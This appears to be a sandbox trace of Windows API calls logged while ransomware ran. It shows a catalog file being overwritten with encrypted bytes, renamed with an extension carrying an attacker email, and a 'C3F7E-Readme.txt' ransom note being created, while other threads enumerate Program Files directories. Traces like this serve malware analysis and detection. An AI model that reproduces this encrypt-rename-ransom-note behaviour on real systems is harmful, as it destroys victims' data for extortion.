	[0079.748] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json", dwFileAttributes=0x20) returned 1
	[0079.748] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigncatalog.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1318
	[0079.748] GetFileSizeEx (in: hFile=0x1318, lpFileSize=0x17fbfe44 | out: lpFileSize=0x17fbfe44*=38) returned 1
	[0079.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0079.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781580
	[0079.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0079.748] NtQuerySystemTime (in: CurrentTime=0x17fbfda4 | out: CurrentTime=0x17fbfda4*=132251868064837938) returned 0x0
	[0079.748] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x464788f7
	[0079.748] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xd66ddc14
	[0079.748] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x9076e0ca
	[0079.748] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x69475836
	[0079.748] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x9f0508b1
	[0079.748] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x135ef597
	[0079.748] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x59346f71
	[0079.748] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xb1353599
	[0079.748] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xfef32f67
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x2cf721bf
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x2de2df41
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x6ddcaf40
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xd55d018e
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xd6eecb8
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x56cba950
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xed5876f4
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xd49b5b9c
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x77e6a0f4
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x7ddf65b8
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x71d270
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xf6b2497b
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xe7ef178f
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xbe36f9ce
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0xbb73bdb2
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x4c42dfa7
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x8d9558dc
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x2ae0dca8
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x51ae9dcf
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x76060a6b
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x40159c0d
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x7b895e1
	[0079.749] RtlRandom (in: Seed=0x17fbfdb0 | out: Seed=0x17fbfdb0) returned 0x1130649e
	[0079.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0079.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0079.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0079.767] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0079.767] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0079.767] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0079.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa00
	[0079.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0079.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781620
	[0079.767] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781620) returned 1
	[0079.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0079.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46e9068
	[0079.768] ReadFile (in: hFile=0x1318, lpBuffer=0x4698050, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x17fbfda0, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesRead=0x17fbfda0*=0x26, lpOverlapped=0x0) returned 1
	[0079.769] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.769] WriteFile (in: hFile=0x1318, lpBuffer=0x46e9068*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x17fbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x46e9068*, lpNumberOfBytesWritten=0x17fbfd9c*=0x26, lpOverlapped=0x0) returned 1
	[0080.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0080.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0080.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46e9068) returned 1
	[0080.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0080.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0080.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa00) returned 1
	[0080.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x35) returned 0x2d87f38
	[0080.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0080.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0080.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0080.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0080.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x35) returned 0x2d880b8
	[0080.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a08
	[0080.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0080.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0080.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0080.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0080.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x119) returned 0x2d5b2a8
	[0080.112] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.112] WriteFile (in: hFile=0x1318, lpBuffer=0x2d5b2a8*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x17fbfe04, lpOverlapped=0x0 | out: lpBuffer=0x2d5b2a8*, lpNumberOfBytesWritten=0x17fbfe04*=0x119, lpOverlapped=0x0) returned 1
	[0080.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0080.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d880b8) returned 1
	[0080.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0080.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d87f38) returned 1
	[0080.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0080.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0080.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0080.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0080.212] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4771108
	[0080.212] wcscpy (in: _Dest=0x4771108, _Source="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json") returned="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json"
	[0080.213] wcscat (in: _Dest=0x4771108, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.213] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17fbfdbc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477d7c0
	[0080.213] NtSetInformationFile (FileHandle=0x1318, IoStatusBlock=0x17fbfdb4, FileInformation=0x477d7c0, Length=0xd0, FileInformationClass=0xa) returned 0x0
	[0080.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d7c0) returned 1
	[0080.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ea28) returned 1
	[0080.243] NtQueryInformationFile (in: FileHandle=0x1318, IoStatusBlock=0x17fbfdc8, FileInformation=0x17fbfda0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17fbfdc8, FileInformation=0x17fbfda0) returned 0x0
	[0080.244] NtSetInformationFile (FileHandle=0x1318, IoStatusBlock=0x17fbfdc8, FileInformation=0x17fbfda0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0080.244] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771108) returned 1
	[0080.245] FlushFileBuffers (hFile=0x1318) returned 1
	[0080.247] CloseHandle (hObject=0x1318) returned 1
	[0080.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x4753f20
	[0080.248] wcscpy (in: _Dest=0x4753f20, _Source="C:\\Program Files\\UNP\\CampaignManager\\" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\") returned="C:\\Program Files\\UNP\\CampaignManager\\"
	[0080.248] wcscat (in: _Dest=0x4753f20, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\CampaignManager\\C3F7E-Readme.txt"
	[0080.248] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\c3f7e-readme.txt")) returned 0xffffffff
	[0080.248] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1414
	[0080.740] WriteFile (in: hFile=0x1414, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x17fbfdc4, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x17fbfdc4*=0x6f6, lpOverlapped=0x0) returned 1
	[0080.742] CloseHandle (hObject=0x1414) returned 1
	[0080.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0080.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60148) returned 1

Thread:
	id = 635
	os_tid = 0x1918

	[0077.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2e173b8
	[0077.817] wcscpy (in: _Dest=0x2e173b8, _Source="C:\\Program Files\\UNP\\CampaignManager\\Campaigns" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns"
	[0077.817] wcscat (in: _Dest=0x2e173b8, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\"
	[0077.817] wcscat (in: _Dest=0x2e173b8, _Source="*" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\*") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\*"
	[0077.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4759d70
	[0077.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\*", lpFindFileData=0x4759d70 | out: lpFindFileData=0x4759d70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2daccf8
	[0078.263] wcscmp (_String1=".", _String2=".") returned 0
	[0078.263] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x4759d70 | out: lpFindFileData=0x4759d70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.264] wcscmp (_String1="..", _String2=".") returned 1
	[0078.264] wcscmp (_String1="..", _String2="..") returned 0
	[0078.264] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x4759d70 | out: lpFindFileData=0x4759d70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 1
	[0078.264] wcscmp (_String1="{91be532c-f9f1-406a-9858-43697c6f437a}", _String2=".") returned 1
	[0078.264] wcscmp (_String1="{91be532c-f9f1-406a-9858-43697c6f437a}", _String2="..") returned 1
	[0078.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddc450
	[0078.264] wcscpy (in: _Dest=0x2ddc450, _Source="C:\\Program Files\\UNP\\CampaignManager\\Campaigns" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns"
	[0078.264] wcscat (in: _Dest=0x2ddc450, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\"
	[0078.264] wcscat (in: _Dest=0x2ddc450, _Source="{91be532c-f9f1-406a-9858-43697c6f437a}" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}"
	[0078.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddc450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc68
	[0078.265] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x4759d70 | out: lpFindFileData=0x4759d70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0
	[0078.265] FindClose (in: hFindFile=0x2daccf8 | out: hFindFile=0x2daccf8) returned 1
	[0078.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4759d70) returned 1
	[0078.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e173b8) returned 1
	[0078.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733c10) returned 1

Thread:
	id = 636
	os_tid = 0x191c

	[0077.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc210
	[0077.817] wcscpy (in: _Dest=0x47bc210, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework"
	[0077.817] wcscat (in: _Dest=0x47bc210, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\"
	[0077.818] wcscat (in: _Dest=0x47bc210, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*"
	[0077.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4759fd8
	[0077.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x4759fd8 | out: lpFindFileData=0x4759fd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad7f8
	[0079.891] wcscmp (_String1=".", _String2=".") returned 0
	[0079.891] FindNextFileW (in: hFindFile=0x2dad7f8, lpFindFileData=0x4759fd8 | out: lpFindFileData=0x4759fd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.891] wcscmp (_String1="..", _String2=".") returned 1
	[0079.891] wcscmp (_String1="..", _String2="..") returned 0
	[0079.891] FindNextFileW (in: hFindFile=0x2dad7f8, lpFindFileData=0x4759fd8 | out: lpFindFileData=0x4759fd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0079.891] wcscmp (_String1="v3.0", _String2=".") returned 1
	[0079.891] wcscmp (_String1="v3.0", _String2="..") returned 1
	[0079.891] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x498dbd0
	[0079.891] wcscpy (in: _Dest=0x498dbd0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework"
	[0079.891] wcscat (in: _Dest=0x498dbd0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\"
	[0079.891] wcscat (in: _Dest=0x498dbd0, _Source="v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0"
	[0092.553] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e158
	[0092.553] wcscpy (in: _Dest=0x476e158, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0"
	[0092.553] wcscat (in: _Dest=0x476e158, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\"
	[0092.553] wcscat (in: _Dest=0x476e158, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*"
	[0092.553] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4713348
	[0092.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8498
	[0092.555] wcscmp (_String1=".", _String2=".") returned 0
	[0092.555] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.555] wcscmp (_String1="..", _String2=".") returned 1
	[0092.555] wcscmp (_String1="..", _String2="..") returned 0
	[0092.555] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521bc005, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521bc005, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb81a9200, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1
	[0092.555] wcscmp (_String1="PresentationBuildTasks.dll", _String2=".") returned 1
	[0092.555] wcscmp (_String1="PresentationBuildTasks.dll", _String2="..") returned 1
	[0092.555] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5208acea, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5208acea, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb81a9200, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x3d2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1
	[0092.555] wcscmp (_String1="PresentationCore.dll", _String2=".") returned 1
	[0092.555] wcscmp (_String1="PresentationCore.dll", _String2="..") returned 1
	[0092.555] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1
	[0092.556] wcscmp (_String1="PresentationFramework.Aero.dll", _String2=".") returned 1
	[0092.556] wcscmp (_String1="PresentationFramework.Aero.dll", _String2="..") returned 1
